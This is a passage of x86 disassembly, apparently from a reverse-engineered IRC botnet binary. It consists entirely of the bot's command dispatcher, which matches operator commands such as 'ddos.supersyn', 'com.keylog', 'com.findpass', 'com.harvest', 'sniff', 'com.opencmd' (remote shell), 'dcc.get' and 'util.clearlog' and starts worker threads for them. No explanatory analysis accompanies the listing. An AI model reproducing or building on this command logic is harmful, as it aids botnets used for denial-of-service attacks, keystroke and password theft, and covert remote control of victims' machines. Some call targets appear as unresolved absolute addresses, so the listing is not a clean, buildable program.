		mov	eax, offset dword_438088


loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410448


loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_410432
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: sub_40EE72+15BEj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_437F7C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"


loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E50


loc_410654:				; CODE XREF: sub_40EE72+5C56j
		call	sub_40BF6D
		jmp	loc_414F44
; ---------------------------------------------------------------------------


loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B84
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]


loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B44
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410C86


loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_410C70
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_437AF8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AAC
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A74
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A1C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379E0


loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379B0
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]


loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437980
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410E3C


loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------


loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_437934


loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43F738, ebx
		jz	short loc_410EB2
		cmp	dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E4
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378B0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_437880
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1


loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------


loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_437830
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_437800
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx


loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------


loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------


